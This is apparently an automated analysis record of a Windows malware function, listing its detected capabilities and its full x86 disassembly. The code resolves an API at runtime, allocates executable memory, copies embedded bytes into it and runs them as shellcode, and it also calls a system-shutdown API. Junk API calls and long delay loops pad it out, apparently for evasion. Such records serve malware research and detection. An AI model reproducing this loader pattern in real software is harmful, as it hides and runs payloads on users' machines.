Function at 0x4038b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk information
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1454
call fcn.0040df30
cmp dword [0x440af8], 0x5b1
push ebx
push esi
push edi
jne 0x4039a2
xor ebx, ebx
push ebx
lea eax, [ebp - 0x450]
push eax
push ebx
push 0x402f0c
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
push ebx
push 0x402f34
call dword [sym.imp.USER32.dll_CreateWindowStationW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push ebx
push 0x402f68
push 0x402fdc
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_ReadClassStg]
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
push ebx
push 0x403014
push ebx
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push ebx
call fcn.004043c2
pop ecx
push ebx
call fcn.00403e34
push ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403571
fstp st(0)
lea esi, [ebp - 0x18]
call fcn.00403530
mov ecx, esi
call fcn.00403547
push ebx
call fcn.004040d1
pop ecx
call fcn.00403cfc
push ebx
call fcn.00404203
mov dword [esp], ebx
call fcn.004035a4
fstp st(0)
push ebx
call fcn.00404203
pop ecx
call fcn.00404430
add dword [0x440af8], 0x1134b
push 0x403040
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x403050
push eax
mov dword [0x43fa4c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x440af8]
xor ebx, ebx
push ebx
mov dword [0x43fa44], eax
call eax
xor esi, esi
mov dword [0x43fa48], eax
cmp dword [0x440af8], ebx
jbe 0x403a3f
cmp dword [0x440af8], 0xa8
mov eax, dword [0x440afc]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x43fa48]
mov byte [ecx + esi], al
jne 0x403a36
push ebx
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push 0x403060
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
inc esi
cmp esi, dword [0x440af8]
jb 0x4039ee
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov dword [ebp - 4], ebx
mov eax, dword [0x440af8]
mov ecx, dword [ebp - 4]
add eax, ecx
cmp eax, 0xe
jne 0x403b07
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0x403070
push 0x4030d0
push 0x4030f8
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push ebx
lea eax, [ebp - 0x850]
push eax
push 0x403134
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x1450]
push eax
push 0x403178
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push ebx
push ebx
lea eax, [ebp - 8]
push eax
call esi
push 0x40315c
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x39621
jl 0x403a48
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp edi, 0x206d47
jg 0x403b41
inc edi
cmp edi, 0x4f6a4
jl 0x403b1f
mov edi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec edi
jne 0x403b46
call fcn.00403822
call esi
cmp edi, 0x26
jne 0x403b71
call fcn.0040389a
inc edi
cmp edi, 0x6753f
jl 0x403b65
push 0x7b
pop esi
cmp dword [0x440af8], 0x86
jne 0x403bd9
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push 0x4031d0
push 0x403214
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0x403220
push 0x403234
push 0x403258
push 0x4032c8
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x403308
call dword [sym.imp.KERNEL32.dll_AddAtomA]
dec esi
jne 0x403b7d
call fcn.004035e8
pop edi
pop esi
pop ebx
leave
ret